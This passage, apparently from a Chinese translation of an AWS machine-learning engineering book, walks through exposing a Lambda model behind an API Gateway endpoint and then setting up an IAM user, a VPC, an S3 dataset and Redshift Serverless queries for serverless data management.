在 AWS Lambda 函数的首次调用期间,其函数代码的下载和执行环境的准备可能需要几秒钟。这种现象通常被称为 冷启动。当它在同一分钟内第二次被调用时(例如),Lambda 函数将立即运行,而无需与冷启动相关的延迟。例如,Lambda 函数可能需要大约 30 到 40 秒才能完成首次调用。之后,所有后续请求都会在 1 秒或更短的时间内完成。由于在首次调用期间准备好的执行环境被冻结并用于后续调用,Lambda 函数的执行速度会显著加快。如果 AWS Lambda 函数在一段时间内没有被调用(例如,大约 10 到 30 分钟的不活动时间),执行环境将被删除,并且下一次函数被调用时需要重新准备。有不同方法来管理这一点并确保 AWS Lambda 函数在没有经历冷启动效果的情况下保持一致的性能。其中一种策略是利用 预置并发,这有助于确保函数启动时间的可预测性。有关此主题的更多信息,请参阅 aws.amazon.com/blogs/compute/operating-lambda-performance-optimization-part-1/
。
在我们的 AWS Lambda 函数准备好执行机器学习预测后,我们可以继续创建将触发我们的 Lambda 函数的无服务器 HTTP API。
完成并测试无服务器 API 设置
我们创建的 AWS Lambda 函数需要通过事件源来触发。可能的事件源之一是配置为接收 HTTP 请求的 API Gateway HTTP API。在接收到请求后,HTTP API 将请求数据作为事件传递给 AWS Lambda 函数。一旦 Lambda 函数接收到事件,它将使用深度学习模型进行推理,然后将预测的输出值返回给 HTTP API。之后,HTTP API 将 HTTP 响应返回给请求的资源。
创建 API 网关 HTTP API 有不同的方法。在接下来的几个步骤中,我们将直接从 AWS Lambda 控制台创建此 HTTP API:
- 定位到 函数概述 面板并点击 添加触发器:
图 3.32 – 添加触发器
添加触发器按钮应位于 函数概述 面板的左侧,如前一张截图所示。
- 使用以下触发器配置添加一个新的 AWS Lambda 触发器:
图 3.33 – 触发器配置
这是我们的触发器配置:
-
选择触发器:API 网关
-
创建新 API 或使用现有 API:创建 API
-
API 类型:HTTP API
-
安全:开放
这将创建并配置一个接受请求并将请求数据作为事件发送到 AWS Lambda 函数的 HTTP API。
重要提示
注意,一旦我们为生产使用配置了设置,此配置需要被安全化。有关此主题的更多信息,请参阅docs.aws.amazon.com/apigateway/latest/developerguide/security.xhtml
。
-
完成新触发器的配置后,点击 添加 按钮。
-
在 触发器 面板下找到我们刚刚创建的 API 网关触发器。点击 API 网关 链接(例如,dlclambda-API),它应该会打开一个新标签页。在侧边栏的 开发 下,点击 集成。在 dlclambda-API 的路由下,点击 ANY。点击 管理集成 然后点击 编辑(位于 集成详细信息 面板中)。在 编辑集成 页面上,将 高级设置 下的 有效载荷格式版本 的值更新为 2.0,类似于 图 3.34 中的内容。之后点击 保存。
图 3.34 – 更新有效载荷格式版本
更新 URL 中的 x
值后,Lambda 函数在执行测试推理时将使用 0
作为默认的 x
值。
备注
如果在将请求发送到 API 网关端点时未指定 x
值,您可能希望触发一个异常。您可以修改 app.py
中的 line 44 来更改此行为:github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/blob/main/chapter03/app/app.py
。
-
将
?x=42
添加到浏览器 URL 的末尾,类似于以下 URL 字符串中的内容:https://<API ID>.execute-api.us-west-2.amazonaws.com/default/dlclambda?x=42
确保您按 42
作为输入 x
值:
图 3.35 – 测试 API 端点
这应该返回一个接近42.4586
的值,如图所示。你可以自由地测试不同的x
值,看看预测的y值是如何变化的。
重要提示
确保你在配置和测试 API 设置完成后,删除 AWS Lambda 和 API Gateway 资源。
到目前为止,我们应该为自己感到自豪,因为我们能够成功地在无服务器 API 中使用AWS Lambda和Amazon API Gateway部署我们的深度学习模型!在 AWS Lambda 容器镜像支持发布之前,使用本章中使用的相同技术栈设置和维护无服务器 ML 推理 API 是相当棘手的。现在我们有了这个初始设置,准备和配置类似的、由 ML 驱动的无服务器 API 应该会更容易。请注意,我们还有创建 Lambda 函数 URL 的选项,以生成 Lambda 函数的唯一 URL 端点。
图 3.36 – 无服务器 API 运行成本与在 EC2 实例内部运行的 API 运行成本的比较
在我们结束本章之前,让我们快速检查如果我们使用AWS Lambda和API Gateway作为 ML 推理端点,成本会是怎样的。如图所示,运行此无服务器 API 的预期成本取决于通过它的流量。这意味着如果没有流量通过 API,成本将是最小的。一旦更多流量通过这个 HTTP API 端点,成本也会逐渐增加。与右侧的图表比较,无论是否通过部署在 EC2 实例内部的 HTTP API 有流量通过,预期成本都将相同。
选择用于你的 API 的架构和设置取决于多种因素。我们不会详细讨论这个话题,所以你可以自由地查看这里可用的资源:aws.amazon.com/lambda/resources/
。
摘要
在本章中,我们能够更深入地了解AWS 深度学习容器(DLCs)。与AWS 深度学习 AMI(DLAMIs)类似,AWS DLCs 已经安装了相关的 ML 框架、库和包。这显著加快了构建和部署深度学习模型的过程。同时,容器环境保证一致性,因为这些是从预构建的容器镜像运行的。
DLAMIs 和 DLCs 之间的一个主要区别是,多个 AWS DLCs 可以运行在单个 EC2 实例内部。这些容器也可以用于支持容器的其他 AWS 服务。这些服务包括AWS Lambda、Amazon ECS、Amazon EKS和Amazon EC2等。
在本章中,我们能够使用 DLC 训练一个深度学习模型。然后,我们通过 Lambda 的容器镜像支持将该模型部署到 AWS Lambda 函数中。之后,我们测试了 Lambda 函数,以查看它是否能够成功加载深度学习模型进行预测。为了从 HTTP 端点触发此 Lambda 函数,我们创建了一个 API Gateway HTTP API。
在下一章中,我们将重点关注无服务器数据管理,并使用各种服务来设置和配置数据仓库和数据湖。我们将使用以下 AWS 服务、功能和特性:Redshift Serverless、AWS Lake Formation、AWS Glue和Amazon Athena。
进一步阅读
如需了解本章涉及主题的更多信息,请随意查看以下资源:
-
什么是深度学习容器? (
docs.aws.amazon.com/deep-learning-containers/latest/devguide/what-is-dlc.xhtml
) -
Amazon API Gateway 中的安全性 (
docs.aws.amazon.com/apigateway/latest/developerguide/security.xhtml
) -
AWS Lambda 新增功能 – 容器镜像支持 (
aws.amazon.com/blogs/aws/new-for-aws-lambda-container-image-support/
) -
在 AWS Lambda 中实现无服务器架构时需要避免的问题 (
aws.amazon.com/blogs/architecture/mistakes-to-avoid-when-implementing-serverless-architecture-with-lambda/
)
第二部分:解决数据工程和分析需求
在本节中,读者将学习如何在 AWS 上使用各种解决方案和服务进行数据工程。
本节包括以下章节:
-
第四章, AWS 上的无服务器数据管理
-
第五章, 实用数据处理与分析
第四章:AWS 上的无服务器数据管理
企业通常使用收集和存储用户信息以及交易数据的系统。一个很好的例子是一个电子商务初创公司,它有一个网站应用程序,客户可以创建账户并使用信用卡进行在线购买。存储在几个生产数据库中的用户资料、交易数据和购买历史可以用来构建一个 产品推荐引擎,这可以帮助建议客户可能想要购买的产品。然而,在分析并使用这些存储数据来训练 机器学习(ML)模型之前,必须将其合并并连接到一个 集中式数据存储 中,以便可以使用各种工具和服务进行转换和处理。对于这些类型的用例,经常使用几种选项,但我们将在本章中关注其中的两个——数据仓库 和 数据湖。
数据仓库和数据湖在 数据存储 和 数据管理 方面发挥着至关重要的作用。当生成报告时,没有数据仓库或数据湖的公司可能会直接在运行中的应用程序的数据库中执行查询。这种方法并不可取,因为它可能会降低应用程序的运行性能,甚至导致数据库连接的应用程序出现计划外的停机。这不可避免地会影响销售额,因为客户将无法使用电子商务应用程序在线购买产品。数据仓库和数据湖帮助我们处理和分析来自多个连接到运行应用程序的较小数据库的大量数据。如果您有设置数据仓库或数据湖的经验,那么您可能知道,管理这些类型环境的整体成本、稳定性和性能需要技能、经验和耐心。幸运的是,无服务器 服务已经开始提供,帮助我们满足这些类型的需求。
在本章中,我们将重点关注数据管理,并使用各种 无服务器 服务来管理和查询我们的数据。我们将首先准备一些先决条件,包括一个新的 IAM 用户、一个 VPC 以及一个用于存储样本数据集的 S3 桶。一旦先决条件准备就绪,我们将设置并配置一个使用 Redshift Serverless 的无服务器数据仓库。之后,我们将使用 AWS Lake Formation、AWS Glue 和 Amazon Athena 准备一个无服务器数据湖。
在本章中,我们将涵盖以下主题:
-
开始使用无服务器数据管理
-
准备基本先决条件
-
使用 Amazon Redshift Serverless 进行大规模数据分析
-
设置 Lake Formation
-
使用 Amazon Athena 查询 Amazon S3 中的数据
到目前为止,你可能想知道这些服务是什么以及如何使用这些服务。在继续之前,让我们首先简要讨论一下无服务器数据管理是如何工作的!
技术要求
在开始之前,我们必须准备好以下内容:
-
一个网络浏览器(最好是 Chrome 或 Firefox)
-
访问本书前几章中使用的 AWS 账户
每章的 Jupyter 笔记本、源代码和其他文件都可在本书的 GitHub 仓库中找到:github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS
。
开始使用无服务器数据管理
几年前,开发人员、数据科学家和机器学习工程师不得不花费数小时甚至数天来设置数据管理和数据工程所需的基础设施。如果需要分析存储在 S3 中的大量数据集,一组数据科学家和机器学习工程师会执行以下一系列步骤:
-
启动并配置一个 EC2 实例集群。
-
将数据从 S3 复制到附加到 EC2 实例的卷中。
-
使用安装在 EC2 实例中的应用程序之一或多个对数据进行查询。
这种方法的一个已知挑战是,配置的资源可能会被低效使用。如果数据查询操作的调度不可预测,那么管理设置的正常运行时间、成本和计算规格将会变得很棘手。除此之外,系统管理员和 DevOps 工程师还需要花费时间来管理集群中安装的应用程序的安全性、稳定性、性能和配置。
现在,利用无服务器和托管服务来处理这些类型的场景和用例要实际得多。如图所示,由于我们不再需要担心服务器和基础设施管理,因此我们将有更多时间专注于我们需要做的事情:
图 4.1 – 无服务器与有服务器
我们所说的“实际工作”是什么意思?以下是一个快速列表,列出了数据分析师、数据科学家和数据工程师在服务器管理之外需要处理的工作:
-
生成图表和报告。
-
分析趋势和模式。
-
检测并解决数据完整性问题。
-
将数据存储与商业智能工具集成。
-
向管理层提供建议。
-
使用数据来训练机器学习模型。
注意
当使用无服务器服务时,我们只为我们使用的部分付费。这意味着我们不会为计算资源未运行时的空闲时间付费。如果我们同时设置了预生产和生产环境,我们可以确信预生产环境只会是生产环境设置成本的一小部分,因为生产环境中的资源预期利用率会更高。
当处理以下无服务器数据管理和数据处理需求时,我们可以利用不同的 AWS 服务:
-
无服务器数据仓库: Amazon Redshift 无服务器
-
无服务器数据湖: AWS Lake Formation、AWS Glue 和 Amazon Athena
-
无服务器流处理: Amazon Kinesis、AWS Lambda 和 DynamoDB
-
无服务器分布式数据处理: Amazon EMR 无服务器
注意,这仅仅是冰山一角,我们还可以使用更多无服务器服务来满足我们的需求。在本章中,我们将重点关注设置和查询无服务器数据仓库和无服务器数据湖。在我们继续进行这些操作之前,首先,让我们准备必要的先决条件。
注意
在这一点上,您可能想知道何时使用数据湖,何时使用数据仓库。当查询和处理的数据是关系型且预先定义时,数据仓库是最佳选择。存储在数据仓库中的数据质量预期也较高。话虽如此,数据仓库用作数据的“事实来源”,通常用于涉及批量报告和商业智能的场景。另一方面,当查询和处理的数据涉及来自不同数据源的关系型和非关系型数据时,数据湖是最佳选择。存储在数据湖中的数据可能包括原始数据和清洗数据。此外,数据在数据湖中存储时,您无需在数据捕获期间担心数据结构和模式。最后,数据湖可用于涉及机器学习、预测分析和探索性数据分析(EDA)的场景。由于数据湖和数据仓库服务于不同的目的,一些组织利用这两种选项来满足他们的数据管理需求。
准备必要的先决条件
在本节中,我们将在设置本章中的数据仓库和数据湖之前,确保以下先决条件已准备就绪:
-
在您的本地机器上有一个文本编辑器(例如,VS Code)
-
一个具有创建和管理本章中我们将使用的资源的权限的 IAM 用户
-
一个我们将启动 Redshift 无服务器端点的 VPC
-
一个新的 S3 存储桶,我们将使用 AWS CloudShell 将数据上传到该存储桶
在本章中,我们将创建和管理位于 us-west-2
区域的资源。在继续下一步之前,请确保您已设置正确的区域。
在您的本地机器上打开文本编辑器
确保您在本地机器上有一个打开的文本编辑器(例如,VS Code)。我们将在此章中复制一些字符串值以供后续使用。以下是本章中我们将要复制的值:
-
IAM 登录链接、用户名和密码(准备必要的先决条件 > 创建 IAM 用户)
-
VPC ID(准备必要的先决条件 > 创建新的 VPC)
-
创建的 IAM 角色名称目前设置为默认角色 (使用 Amazon Redshift Serverless 进行大规模分析 > 设置 Redshift Serverless 端点)
-
AWS 账户 ID (使用 Amazon Redshift Serverless 进行大规模分析 > 将数据卸载到 S3)
如果您没有安装 VS Code,您可以使用 TextEdit、记事本、Notepad++ 或 GEdit,具体取决于您在本地计算机上安装了哪些。
创建 IAM 用户
重要提示:如果我们直接使用根账户运行查询,我们可能会在 Redshift Serverless 中遇到问题。话虽如此,我们将在本节中创建一个 IAM 用户。此 IAM 用户将配置为具有执行本章中所有动手实践所需的适当权限集。
备注
确保在创建新的 IAM 用户时使用根账户。
按照以下步骤从 IAM 控制台创建 IAM 用户:
- 使用以下截图所示的方式,使用搜索栏导航到 IAM 控制台:
图 4.2 – 导航到 IAM 控制台
在搜索栏中键入 iam
后,我们必须从搜索结果列表中选择 IAM 服务。
-
在侧边栏中找到 访问管理,然后单击 用户 以导航到 用户 列表页面。
-
在屏幕右上角,找到并单击 添加用户 按钮。
-
在 设置用户详情 页面上,使用以下截图所示的类似配置添加新用户:
图 4.3 – 创建新的 IAM 用户
在这里,我们将 mle-ch4-user
设置为 用户名 字段的值。在 选择 AWS 访问类型 下,确保在 选择 AWS 凭据类型 下勾选了 密码 – AWS 管理控制台访问 的复选框。对于 控制台密码,我们选择 自动生成密码。对于 要求密码重置,我们取消勾选 用户必须在下次登录时创建新密码。
备注
更安全的配置将涉及在 IAM 用户账户首次用于登录时要求重置密码。然而,在本章中我们将跳过此步骤以减少总步骤数。
-
点击 下一步:权限 按钮。
-
在 设置权限 页面上,选择 直接附加现有策略。
-
使用搜索过滤器查找并勾选以下托管策略的复选框:
-
AmazonS3FullAccess
-
AmazonRedshiftFullAccess
-
AmazonVPCFullAccess
-
AWSCloudShellFullAccess
-
AWSGlueConsoleFullAccess
-
AmazonAthenaFullAccess
-
IAMFullAccess
-
以下截图是一个示例:
图 4.4 – 直接附加现有策略
这些是由 AWS 准备和管理的策略,以便 AWS 账户用户方便地管理 IAM 权限。
重要提示
注意,本章中我们讨论的权限配置还可以进一步优化。在生产级别的账户中管理 IAM 权限时,请确保你遵循最小权限原则。这意味着 IAM 身份应仅拥有执行其任务所需的最小权限集,这涉及到在使用服务时,从特定资源授予特定操作的细粒度访问权限。有关更多信息,请随时查阅第九章,安全、治理和合规策略。
-
选择好管理策略后,点击下一步:标签按钮。
-
在添加标签(可选)页面,点击下一步:审查。
-
在审查页面,点击创建用户按钮。
-
你应该会看到一个成功通知,以及新用户的登录链接和凭证。将登录链接(例如,
https://<account>.signin.aws.amazon.com/console
)、用户名和密码复制到本地机器上的文本编辑器(例如,Visual Studio Code)。之后点击关闭按钮。
重要提示
不要将登录链接、用户名和密码与任何人分享。具有这些凭证的 IAM 用户可以轻松接管整个账户,考虑到我们在创建 IAM 用户时为其配置的权限。
-
在成功通知中的
mle-ch4-user
)中点击以导航到用户详情页面。 -
添加内联策略,如图所示:
图 4.5 – 添加内联策略
除了直接附加的管理策略外,我们还将附加一个内联策略。我们将在下一步中自定义内联策略中配置的权限。
备注
有关管理策略和内联策略的更多信息,请参阅docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_managed-vs-inline.xhtml
。
- 在创建策略页面,导航到JSON选项卡,如图所示:
图 4.6 – 使用 JSON 编辑器创建策略
在前一个屏幕截图中突出显示的策略编辑器中,指定以下 JSON 配置:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "redshift-serverless:*",
"Resource": "*"
},
{
"Effect": "Allow",
"Action": "sqlworkbench:*",
"Resource": "*"
},
{
"Effect": "Allow",
"Action": "lakeformation:*",
"Resource": "*"
}
]
}
此策略授予我们的 IAM 用户创建和管理Redshift Serverless、Lake Formation和SQL Workbench(一个 SQL 查询工具)资源的权限。如果没有这个额外的内联策略,我们在本章后面使用 Redshift Serverless 时可能会遇到问题。
备注
您可以在官方 GitHub 仓库中找到此内联策略的副本:github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/blob/main/chapter04/inline-policy
。
-
接下来,点击审查策略。
-
在Name字段中输入
custom-inline-policy
作为值。然后,点击创建策略。
到目前为止,mle-ch4-user
IAM 用户应该附加了八项策略:七项 AWS 管理的策略和一项内联策略。此 IAM 用户应有足够的权限执行所有操作和操作,直到本章结束。
接下来,我们将使用我们复制到本地机器文本编辑器中的凭据进行登录,并测试我们是否可以成功登录:
-
通过以下方式从 AWS 管理控制台会话中注销:
-
点击屏幕右上角的您的名字
-
点击注销按钮
-
-
导航到登录链接(格式类似于
https://<account>.signin.aws.amazon.com/console
)。确保将<account>
替换为您的 AWS 账号 ID 或别名:
图 4.7 – 以 IAM 用户身份登录
这应该会将您重定向到以 IAM 用户身份登录页面,类似于前面的截图。输入账号 ID、IAM 用户名和密码值,然后点击登录按钮。
这不是很容易吗? 现在我们已成功创建了 IAM 用户,我们可以创建一个新的 VPC。此 VPC 将在我们创建 Redshift Serverless 端点时使用。
创建新的 VPC
Amazon 虚拟私有云(VPC)使我们能够为我们的资源创建和配置隔离的虚拟网络。在本节中,即使我们已经在当前区域中有一个现有的 VPC,我们也将从头开始创建一个新的 VPC。这允许我们的 Redshift Serverless 实例在其自己的隔离网络中启动,这使得网络可以与其他现有的 VPC 分开进行配置和安全性设置。
创建和配置 VPC 有不同的方法。其中一种更快的方法是使用VPC 向导,它允许我们在几分钟内设置一个新的 VPC。
重要提示
在继续之前,请确保您已以mle-ch4-user
IAM 用户身份登录。
按照以下步骤使用VPC 向导创建新的 VPC:
-
使用菜单栏中的区域下拉菜单选择所需区域。在本章中,我们将假设我们将在
us-west-2
区域创建和管理我们的资源。 -
通过以下方式导航到 VPC 控制台:
-
在 AWS 管理控制台的搜索栏中键入
VPC
-
在搜索结果列表下选择VPC服务
-
-
接下来,点击启动 VPC 向导/创建 VPC按钮。这将带您转到创建 VPC向导,如下截图所示:
图 4.8 – 创建 VPC 向导
在这里,我们可以看到我们可以通过几个点击来创建和配置相关的 VPC 资源。
注意
您可能想要进一步自定义和确保此 VPC 设置的安全,但这超出了本章的范围。有关更多信息,请参阅 docs.aws.amazon.com/vpc/latest/userguide/vpc-security-best-practices.xhtml
。
-
在 VPC 向导中,除了以下内容外,保持所有设置不变:
-
mle-ch4-vpc
-
可用区 (AZ) 数量:3
-
公共子网数量:3
-
私有子网数量:0
-
NAT 网关 ($):无
-
-
一旦您完成 VPC 的配置,请点击页面底部的 创建 VPC 按钮。
注意
VPC 创建可能需要大约 1 到 2 分钟才能完成。
-
点击 查看 VPC。
-
将 VPC ID(例如,
vpc-abcdefghijklmnop
)复制到您本地机器上的编辑器中(例如,Visual Studio Code)。
现在所需的 VPC 资源已创建,我们可以继续进行最后一组先决条件。
将数据集上传到 S3
在 第一章,AWS 上的机器学习工程简介,我们使用 AWS Cloud9 环境将样本数据集上传到 Amazon S3。在本章中,我们将使用 AWS CloudShell 来上传和下载数据到 S3。如果您第一次听说 AWS CloudShell,它是一个基于浏览器的 shell,我们可以运行不同的命令来管理我们的资源。使用 CloudShell,我们可以运行 AWS CLI 命令而无需担心基础设施管理。
重要提示
在继续之前,请确保您正在使用创建 VPC 资源相同的区域。本章假设我们正在使用 us-west-2
区域。同时,请确保您已以 mle-ch4-user
IAM 用户登录。
按照以下步骤使用 CloudShell 和 AWS CLI 将我们的示例数据集上传到 S3:
- 通过点击以下截图突出显示的按钮导航到 CloudShell:
图 4.9 – 启动 CloudShell
您可以在 AWS 管理控制台右上角找到此按钮。您还可以使用搜索栏导航到 CloudShell 控制台。
- 如果您看到 欢迎使用 AWS CloudShell 弹出窗口,请点击 关闭 按钮。
注意
[cloudshell-user@ip-XX-XX-XX-XX ~]$
可能需要一分钟左右。
-
在终端控制台(在 $ 符号之后)运行以下单行
wget
命令以下载包含 100,000 个预订记录的 CSV 文件:wget https://bit.ly/3L6FsRg -O synthetic.bookings.100000.csv
-
接下来,使用
head
命令检查下载的文件:head synthetic.bookings.100000.csv
这应该会生成 CSV 文件的前几行,类似于以下截图所示:
图 4.10 – 使用 head 命令后的结果
如我们所见,head
命令显示了synthetic.bookings.100000.csv
文件的第一个 10 行。在这里,我们有了第一行中的 CSV 文件所有列名的标题。
注意,这个数据集与我们用于第一章“AWS 机器学习工程简介”中的酒店预订数据集相似。唯一的重大区别是,我们将在本章中使用的 CSV 文件包含 100,000 条记录,因为我们想测试从我们的数据仓库和数据湖查询数据有多快。
-
使用
aws s3 mb
命令创建一个新的 S3 存储桶。确保用全局唯一的存储桶名称替换<INSERT BUCKET NAME>
– 一个所有其他 AWS 用户以前从未使用过的 S3 存储桶名称:BUCKET_NAME=<INSERT BUCKET NAME>
aws s3 mb s3://$BUCKET_NAME
关于 S3 存储桶命名规则的更多信息,请参阅docs.aws.amazon.com/AmazonS3/latest/userguide/bucketnamingrules.xhtml
。
重要提示
确保记住在此步骤中创建的存储桶名称。我们将在本章的不同解决方案和示例中使用此 S3 存储桶。
-
将您创建的 S3 存储桶名称复制到您本地机器上的文本编辑器中。
-
使用
aws s3 cp
命令上传synthetic.bookings.100000.csv
文件:FILE=synthetic.bookings.100000.csv
aws s3 cp $FILE s3://$BUCKET_NAME/input/$FILE
现在所有先决条件都已准备就绪,我们可以使用Redshift Serverless来加载数据并进行查询。
使用 Amazon Redshift Serverless 进行大规模数据分析
数据仓库在数据管理、数据分析和数据工程中发挥着至关重要的作用。数据工程师和机器学习工程师花费时间构建数据仓库,以处理涉及批量报告和商业智能的项目。
图 4.11 – 数据仓库
如前图所示,数据仓库包含来自不同关系型数据源(如 PostgreSQL 和 MySQL 数据库)的合并数据。它通常在查询数据以进行报告和商业智能需求时作为单一事实来源。在机器学习实验中,数据仓库可以作为清洁数据的来源,我们可以从中提取用于构建和训练机器学习模型的训练集。
注意
在生成报告时,企业和初创公司可能会直接在运行 Web 应用的数据库上执行查询。需要注意的是,这些查询可能会对连接到数据库的 Web 应用造成计划外的停机时间(因为数据库可能会因为处理额外的查询而变得“繁忙”)。为了避免这些类型的场景,建议将应用程序数据库中的数据合并并加载到中央数据仓库中,在那里可以安全地运行查询。这意味着我们可以生成自动报告,并在数据的副本上执行读取查询,而不用担心任何意外的停机时间。
如果您需要在 AWS 上设置数据仓库,Amazon Redshift 是可用的主要选项之一。随着 Amazon Redshift Serverless 的宣布,数据工程师和机器学习工程师不再需要担心基础设施管理。与它的非无服务器版本和替代品相比,当数据仓库空闲且未被使用时,无需收费。
设置 Redshift Serverless 端点
开始使用并设置 Redshift Serverless 非常简单。我们所需做的只是导航到 Redshift 控制台并创建一个新的 Redshift Serverless 端点。在创建新的 Redshift Serverless 端点时,我们只需关注 VPC 和 IAM 用户,这些我们在本章的 准备基本先决条件 部分中已准备就绪。
重要提示
在继续之前,请确保您正在使用创建 S3 存储桶和 VPC 资源相同的区域。本章假设我们正在使用 us-west-2
区域。同时,请确保您已以 mle-ch4-user
IAM 用户登录。
按照以下步骤设置我们的 Redshift Serverless 端点:
-
在 AWS 管理控制台的搜索栏中导航到
redshift
,然后从结果列表中选择 Redshift 服务。 -
接下来,点击 尝试 Amazon Redshift Serverless 按钮。
-
在
自定义设置
-
dev
-
管理员用户凭证 > 自定义管理员用户凭证: [未勾选]
-
在 权限 下,打开 管理 IAM 角色 下拉菜单,然后从选项列表中选择 创建 IAM 角色。
-
在 创建默认 IAM 角色 弹出窗口中,选择 任何 S3 存储桶。
重要提示
注意,一旦我们需要为生产使用配置设置,此配置需要进一步加固。理想情况下,Redshift 应配置为仅访问有限数量的 S3 存储桶。
- 点击 创建 IAM 角色作为默认角色 按钮。
注意
在点击 创建 IAM 角色作为默认角色 按钮后,您应该会看到一个类似 The IAM role AmazonRedshift-CommandsAccessRole-XXXXXXXXXXXXXXX was successfully created and set as the default. 的通知消息。请确保将当前设置为默认角色的创建 IAM 角色名称复制到您本地机器上的文本编辑器中。
-
接下来,使用以下配置设置进行 网络和安全:
-
虚拟专用云 (VPC): 通过选择适当的 VPC ID 使用本章中创建的 VPC。
-
VPC 安全组: 使用默认的 VPC 安全组。
-
子网: 在下拉菜单中检查所有可用的子网选项。
-
-
点击 保存配置 按钮。
注意
此步骤可能需要 3 到 5 分钟才能完成。在您等待设置完成的同时,您应该会看到一个弹出窗口。在此期间,您可以喝杯咖啡或茶!
- 一旦设置完成,点击 继续 按钮以关闭弹出窗口。
这不是很简单吗? 到目前为止,您可能担心我们现在设置的Redshift 无服务器相关的费用。这里酷的地方是,当我们的无服务器数据仓库空闲时,没有计算能力的费用。请注意,根据存储的数据,我们仍将收取存储费用。一旦您完成本章的动手实践解决方案,请确保删除此设置并执行相关的 AWS 资源清理步骤,以避免任何意外费用。
注意
如需了解有关 Redshift 无服务器计费的信息,请随时查看docs.amazonaws.cn/en_us/redshift/latest/mgmt/serverless-billing.xhtml
。
打开 Redshift 查询编辑器 v2
有多种方式可以访问我们已配置和准备好的 Redshift 无服务器端点。其中一种更方便的方式是使用Redshift 查询编辑器,我们可以通过我们的网络浏览器访问它。
重要提示
在继续之前,请确保您正在使用创建 S3 存储桶和 VPC 资源相同的区域。本章假设我们正在使用us-west-2
区域。同时,请确保您已登录为mle-ch4-user
IAM 用户。
让我们打开 Redshift 查询编辑器,看看我们能用它做什么:
- 在无服务器仪表板区域,点击查询数据,如下截图所示:
图 4.12 – 在无服务器仪表板中定位查询数据按钮
在这里,我们可以看到查询数据按钮位于无服务器仪表板页面右上角。点击查询数据按钮将打开Redshift 查询编辑器 v2服务(在新标签页中),如下截图所示:
图 4.13 – Redshift 查询编辑器 v2
使用 Redshift 查询编辑器非常简单。我们可以通过左侧边栏中的选项来管理我们的资源,我们可以在右侧的编辑器上运行 SQL 查询。
注意
如果在点击查询数据按钮后遇到无法打开 Redshift 查询编辑器 v2 的问题,请确保您的浏览器没有阻止新窗口或弹出窗口的打开。
- 点击以下截图中所突出显示的无服务器连接资源的箭头符号:
图 4.14 – 连接到无服务器资源
当 Redshift 查询编辑器连接到 Redshift 无服务器端点时,您应该会看到一个连接到无服务器的通知。
一旦建立连接,我们就可以继续创建表格。
创建表格
在 Amazon Redshift 中创建表格有不同方式。按照以下步骤使用 CSV 文件作为表格架构的参考来创建一个表格:
-
从官方 GitHub 仓库下载
synthetic.bookings.10.csv
文件到您的本地机器。您可以通过以下链接访问包含 10 个样本行的 CSV 文件:raw.githubusercontent.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/main/chapter04/synthetic.bookings.10.csv
。 -
在Redshift 查询编辑器 v2中,点击+ 创建下拉菜单,然后从选项列表中选择表。
-
在创建表格弹出窗口中,将架构下拉菜单值设置为public,将表字段值设置为bookings。
注意
架构用于管理和分组数据库对象和表格。新创建的数据库默认将具有PUBLIC
架构。在本章中,我们不会创建新的架构,而将简单地使用默认的PUBLIC
架构。
- 点击您本地机器上的
synthetic.bookings.10.csv
文件:
图 4.15 – 从 CSV 加载数据
在这里,我们可以看到从 CSV 加载数据选项使用了存储在所选 CSV 文件中的记录来推断列名、数据类型和编码,这些将被用于配置和创建新表格。
- 点击创建表格。你应该会看到一个通知,表明bookings 表格已成功创建。
注意,用作创建表格参考的 CSV 文件应该是更大完整数据集的一个子集。在我们的例子中,我们使用了一个包含 10 条记录的 CSV 文件,而原始 CSV 文件有 10 万条记录。
从 S3 加载数据
现在我们已经准备好了表格,我们可以将存储在 S3 中的数据加载到我们的表格中。按照以下步骤使用Redshift 查询编辑器 v2从 S3 加载数据:
- 点击加载数据按钮(位于+ 创建下拉菜单旁边)。应该会出现一个类似于以下窗口的弹出窗口:
图 4.16 – 从 S3 加载数据
在这里,我们可以看到从 S3 加载数据的不同配置选项。
- 在S3 URI下的S3 文件位置下拉菜单中打开,并从可用选项中选择us-west-2。
注意
此设置假设我们在执行本章中的动手实践解决方案时使用的是us-west-2
区域。如果 S3 文件位于另一个区域,请随意更改。
- 接下来,点击我们在此章创建的 S3 存储桶中的input文件夹内的
synthetic.bookings.100000.csv
文件:
图 4.17 – 在 S3 中选择存档
在选择synthetic.bookings.100000.csv
文件后,点击选择按钮。
- 打开 选择 IAM 角色 下拉菜单,并在 设置 Redshift Serverless 端点 部分中选择与你在本地机器上的文本编辑器中复制的 IAM 角色名称相同的 IAM 角色。
注意
如果你无法将 IAM 角色复制到本地机器上的文本编辑器中,你可以打开一个新标签页并导航到 AWS 管理控制台的 default
命名空间配置 页面。你应该在 安全和加密 选项卡中找到标记为 Default 的 角色类型 下的 IAM 角色。
-
在 高级设置 下,点击 数据转换参数。确保 忽略标题行 复选框被勾选。点击 完成。
-
点击 选择架构,然后从下拉选项中选择 public。接下来,点击 选择表,然后从下拉选项中选择 bookings:
图 4.18 – 从 S3 存储桶加载数据
到目前为止,你应该有一组类似于前面截图所示的配置参数。
- 点击 加载数据 按钮。这将关闭 加载数据 窗口并自动运行加载数据操作。
注意
你可以在查询编辑器中运行 SELECT * FROM sys_load_error_detail;
SQL 语句来排查你可能遇到的任何问题或错误。
最后一步可能需要 1 到 2 分钟才能完成。如果在运行加载数据操作后没有遇到任何问题,你可以继续查询数据库!
查询数据库
现在我们已经成功将 CSV 文件从 S3 存储桶加载到我们的 Redshift Serverless 表中,让我们专注于使用 SQL 语句执行查询:
- 点击位于第一个标签左侧的 + 按钮,然后选择 Notebook,如图所示:
图 4.19 – 创建新的 SQL Notebook
SQL Notebook 有助于组织和记录使用 Redshift 查询编辑器运行的多个 SQL 查询的结果。
-
运行以下 SQL 语句:
SELECT * FROM dev.public.bookings;
确保点击 运行 按钮,如图所示:
图 4.20 – 运行 SQL 查询
这应该返回一组结果,类似于以下截图所示:
图 4.21 – 添加 SQL 按钮
在这里,运行查询后,我们应该只能得到最多 100 条记录,因为 限制 100 复选框被切换为 开启 状态。
-
在之后点击 添加 SQL 按钮以在当前结果集下方创建一个新的 SQL 单元格。
-
接下来,在新 SQL 单元格中运行以下 SQL 语句:
SELECT COUNT(*) FROM dev.public.bookings WHERE is_cancelled = 0;
运行查询后,我们应该得到 66987
作为结果。
重要提示
